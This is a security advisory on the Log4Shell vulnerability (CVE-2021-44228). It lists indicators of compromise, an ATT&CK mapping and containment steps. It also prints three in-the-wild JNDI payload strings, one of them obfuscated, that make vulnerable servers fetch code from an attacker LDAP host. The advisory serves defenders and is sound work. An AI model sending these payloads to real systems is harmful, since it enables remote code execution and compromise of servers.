Critical Threat Advisory: Apache Log4j (Log4Shell) Remote Code Execution

Advisory ID: CTI-ADV-2026-0044 | Severity: CRITICAL | Target: CVE-2021-44228

Vulnerability Description & Attack Dynamics

Security operations centers have identified widespread, automated exploitation of the Log4Shell vulnerability (CVE-2021-44228) across enterprise public-facing applications. Adversaries are actively scanning perimeter Apache Solr, Elasticsearch, and VMware Horizon appliances using automated JNDI LDAP lookup strings.

```
Observed Payload Strings In-The-Wild: ${jndi:ldap://203.0.113.99:1389/Exploit}
${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:ldap}://203.0.113.99:1389/a}
${jndi:dns://203.0.113.99:53/log4j-test}
```

Upon successful parameter substitution, vulnerable JVM processes issue outbound LDAP callbacks to remote attacker infrastructure, downloading and executing secondary Bash droppers that stage cryptocurrency miners and Cobalt Strike implants.

Technical Indicators of Compromise (IoCs)

Indicator Value	Type	Threat Context	Status
203.0.113.99	IPv4	Malicious LDAP/JNDI Callback Server	Malicious
CVE-2021-44228	CVE	Log4Shell Unauthenticated RCE Flaw	Critical
hxxp://malicious-log4j-delivery[.]example[.]com/drop.sh	URL	Bash Dropper Script	Malicious
malicious-log4j-delivery[.]example[.]com	Domain	Staging Server Hostname	Malicious
a1b2c3d4e5f60718293a4b5c6d7e8f90123456789abcdef0123456789abcdef0	SHA256	CryptoMiner Binary	Malicious

MITRE ATT&CK; Framework Mapping

- **T1190 (Exploit Public-Facing Application)**: Initial remote code execution via JNDI injection.
- **T1059.004 (Unix Shell Script Interpreter)**: Execution of secondary dropper shell scripts.
- **T1071.001 (Web Protocols)**: Communication over HTTP/HTTPS for staging second-stage binaries.

Recommended Emergency Containment

1. **Library Upgrade**: Immediately upgrade log4j-core library to version 2.17.1 or later across all clusters.

2. **JVM Flag Mitigation**: Set system property log4j2.formatMsgNoLookups=true on legacy runtime JVM instances.

3. **WAF Rules**: Apply perimeter WAF pattern block rules inspecting HTTP User-Agent, X-Api-Version, and Referer headers.

4. **Firewall Egress Filtering**: Block outbound traffic to IP 203.0.113.99 and port 1389 on border security gateways.

Triage Assessment: CRITICAL THREAT (Score: 9.8 / 10.0)